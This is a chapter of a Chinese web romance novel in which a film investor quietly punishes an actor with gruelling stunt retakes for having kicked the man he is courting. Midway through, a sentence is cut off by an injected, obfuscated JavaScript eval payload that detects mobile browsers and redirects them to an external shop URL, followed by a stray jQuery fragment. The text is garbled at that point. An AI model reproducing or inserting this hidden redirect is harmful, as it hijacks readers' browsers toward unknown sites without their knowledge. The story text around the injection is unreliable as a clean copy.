那天学校斗殴事件之后,两人之间的关系似乎发生了某种微妙的变化。
说不上是冰释前嫌,梁琮对这人依然没有什么信任,但靳绍庭在正事上的可靠是毋庸置疑的。梁琮本也是个务实而非情感用事的人,光是这一点,足够他在心里将靳绍庭从“这人真烦”升级到“这人还行”的朋友备选范围。
靳绍庭没有固定的工作时间,闲一阵忙一阵忙。最近,他投的那部文艺片进入了选角后期,几个重要的角色需要他本人拍板,公司还有一个文旅项目在谈合作,三天两头要飞外地。他没空像之前那样开着跑车杀到学校里贴面骚扰,但他的消息从来没断过——这些工作上的安排就是他单方面汇报给梁琮的,也不管后者想不想知道。
每天早上八点,梁琮的手机还会准时震一下。
靳绍庭:【早。今天天气不错,适合想我。】
梁琮一般不理这种无用信息。
中午十二点,又来一条。
靳绍庭:【梁老师吃了吗?别光顾着工作,记得准时吃饭。】
梁琮如果及时看到了,可能回一个“嗯”。
晚上睡前,靳绍庭总爱随手发些杂七杂八的闲聊。娱乐圈秘闻最多,是那种外人听了肯定忍不住好奇、却压根打听不到的猛料。比如什么顶流小花私下早已秘密生子,当红男团镜头前卖腐卖得风生水起,背地里资源争抢、拉踩互撕毫不手软。
梁琮不追星,对八卦也没什么兴趣,但他不得不承认,靳绍庭发来的东西……确实有点意思。
有时候他忍不住,偶尔会回一句“真的假的”或者“你哪来的消息”,靳绍庭就会得意洋洋地回一串语音,讲得头头是道。
一来二去,梁琮对他的态度虽然还是不冷不淡的,但实际上已经算得上是普通朋友的水平了。
这晚,梁琮洗完澡坐在沙发上看书,手机准时亮起。
靳绍庭:【梁老师,腰上的伤好了吗?】
梁琮撩开衣服看了看。转眼快一个月,那片淤青已经退得差不多了,只剩下一小块浅黄色的痕迹,不仔细看根本看不出来。
梁琮:【早好了。】
靳绍庭:【真的吗?我不信。除非你拍张照发来看看。】
司马昭之心路人皆知。
梁琮:【够了。】
靳绍庭:【哈哈哈哈哈哈哈】
靳绍庭:【梁老师,你生气的样子我又想象出来了】
梁琮把手机扣在茶几上,继续看书。
城市的另一头,靳绍庭坐在某私人会所的包间里,心情好得不行,整个人都散发着春风得意的气息。
这晚有个饭局。几个圈里的投资人和制片人攒的局,靳绍庭本来不想来,但其中一个是他合作多年的老大哥,面子不能不给。包间里坐了十来个人,酒过三巡,聊来聊去,无非八卦或吹牛。
饭局里有几个小艺人,都是殷勤讨好陪笑。就唐景曜仗着有个好爹,颇为嚣张,姿态懒散地坐在几个人中间,脸色潮红,已经喝了不少。
“我跟你们说,之前我去何斯羽家,遇到个奇葩……”唐景曜端着酒杯,扯着嗓子嚷得所有人都能听见。等众人目光聚焦,他越说越起劲,“我们玩儿得正开心呢,有个他的助理还是房东什么的,过来了。戴个眼镜,长得斯斯文文的,结果,特别横!”
桌上有人笑:“怎么横了?”
唐景曜放下酒杯,比划了一下:“我跟你们说,那人简直有病,还让我滚。我什么人啊?能被这种人欺负?”
“然后呢然后呢?”
“然后我一脚就把他踢服了。”唐景曜拍了拍自己的膝盖,一脸得意,“一脚踹他腰上,直接给打趴下了。最后那人屁都没放一个,还得何斯羽护着他。我说啊,这种人,就他妈欠收拾!”
桌上的人哈哈大笑,甚至有人举杯敬他。
靳绍庭已然眉头紧锁,突然重重把酒杯放下,磕在桌面上发出一声清脆的响。
包间里不由安静了一瞬。
靳绍庭抬起眼,隔着圆桌直直看向唐景曜。
唐景曜皱了皱眉:“靳总,怎么了?”
靳绍庭笑了笑:“没什么。”他故作思索,“哎,唐景曜,听说你最近在拍那个现代剧?叫什么来着……”
“《追光者》,赵导的。”唐景曜瞬间清醒了不少,恭敬地接话。
“哦,对,我跟他挺熟。我还记得何斯羽是男一号。”靳绍庭又端起酒杯,喝了一口,仿佛只是随口一问,“最近拍得还顺利吗?”
唐景曜有些受宠若惊地回答:“顺利,就是最近有几场动作戏,比较累。”
“动作戏好啊。”靳绍庭笑了笑,语气轻描淡写,“演员要有动作戏才出彩。我回头跟赵导打个招呼,让他给你多加点。”
唐景曜脸色微变,还没来得及说什么,靳绍庭已经端起了酒杯跟旁边的人碰杯去了。
第二天唐景曜一到片场,赫然发现今天的通告单变了!
原本定好的一场室内文戏,临时被改成了车祸追逐戏份。导演亲自过来跟他解释,说剧组经过商议,觉得整部剧的动作元素太过单薄,剧情稍显平淡。加一段高强度动作戏,既能拉高收视看点,也正好能借机磨炼他这样的新人演员。
有理有据,唐景曜一时竟无法反驳。
“你身体素质好,威压戏没问题。”导演意味深长地拍了拍他的肩膀。
起初唐景曜还没意识到这场无所谓的、临时加的戏意味着什么,结果因为反复NG,这场小配角的车祸戏,硬是拍了整整一天。
唐景曜被威亚吊在半空中,一遍一遍地摔向一辆报废的汽车,因为动作不够真实,表情太假,角度不对……以及各种五花八门的原因,来了一次又一次。
接连摔了十几次后,唐景曜脸上已是青一块紫一块,精致的妆容都遮掩不住。威亚卡扣硌得浑身难受,腰部酸痛难忍,威压衣勒得他肋骨都快断了。
“卡。不行,情绪不到位。”导演在监视器后面遗憾摇头,“小唐努把力,再来一条。”
唐景曜咬了咬牙,没说话。
他不确定导演不是故意刁难他,导演应该没这个胆量,一场动作戏多拍几条在业内也不少见……这样的原因,他也没法找他爸诉苦去,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575050|203785||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他爸肯定只会说让他听导演安排,这点苦都吃不了就趁早收拾回家,别混娱乐圈了。
今天的每一条都像是在他伤口上撒盐,恰好让他最难受,恰好让他挂彩但不至于受重伤。
唐景曜真是吃了苍蝇一般的难受。
傍晚又临时加了一场打斗戏。唐景曜被要求从两米高的台子上跳下来,落地翻滚,然后爬起来继续跑。他跳了好几次,膝盖磕破皮,手肘也磨出了血。
助理在旁边急得团团转,拿着碘伏想给他消毒,被副导演厉声喝止:“娇气!拍完这条再说。”
助理灰溜溜地退回去,偷偷录了一段视频,发给唐景曜的经纪人。
经纪人看出不对,拐了几个弯打听到了一些风声,然后委婉地打电话问:“景曜,你是不是得罪人了?比如……靳总?”
唐景曜想了很久也没有头绪,只能含糊答道:“我昨晚喝多了,可能是随口说了什么不该说的话?但我实在想不明白,昨晚气氛明明挺好的……”
经纪人循循善诱:“你再好好想想,你是不是提到了什么事儿,什么人?”
唐景曜用力皱起眉。
一个身影渐渐在脑海里浮现:那个戴着眼镜斯斯文文,被他一脚踢在腰上的、看似很好欺负的男人……
晚上收工的时候,靳绍庭的微信消息准时发到梁琮的手机上。
先是一张照片,照片里是一条威压绳,带着灰尘和明显的磨损痕迹,背景是片场的各种摄影设备。
紧接着是一段视频。
梁琮疑惑地点开。
画面有些摇晃,是在剧组近距离拍摄的。只见一个人影被威压吊在半空中,反复摔向一辆道具车。每摔一次,那个人就龇牙咧嘴地捂住某个部位。
视频拍得不算清楚,但梁琮还是认出了那张脸——唐景曜。
他怔怔地看完视频,退回去又看了一遍,明白了。
是靳绍庭。
靳绍庭不知道通过什么途径知道了那天晚上唐景曜对他动手的事,然后……用这种方式帮他报复了回去。他记得靳绍庭曾说过唐景曜背景不一般,现在看来,对方当时还是太过谦虚。唐景曜那所谓的强硬靠山,在靳绍庭面前根本不值一提。
梁琮盯着手机屏幕,心情复杂到了极点。
他觉得有点好笑,一个快三十岁的成年男人,居然为了这种事动用自己的资源去整人,幼稚不幼稚?但同时,心底有一个很小很小的声音在说:他是为了你。
梁琮最后就打了两个字发过去:【幼稚。】
靳绍庭秒回:【为梁老师幼稚一回,很值当。】
窗外夜色深远而辽阔,屋中安静却并不冷清。梁琮靠在沙发上,摘下眼镜,揉了揉鼻梁。
这种无聊透顶的报复,没有其他人会去替他做,他自己也觉得没有任何必要。
但靳绍庭知道了,记住了,不管他需不需要,就用自己的方式,帮他出了一口恶气。
无论他是否需要,但这种被人在意、被人在乎的感觉——哪怕对方居心不纯、另有所图——平心而论,梁琮已经很久、很久没有体验过了。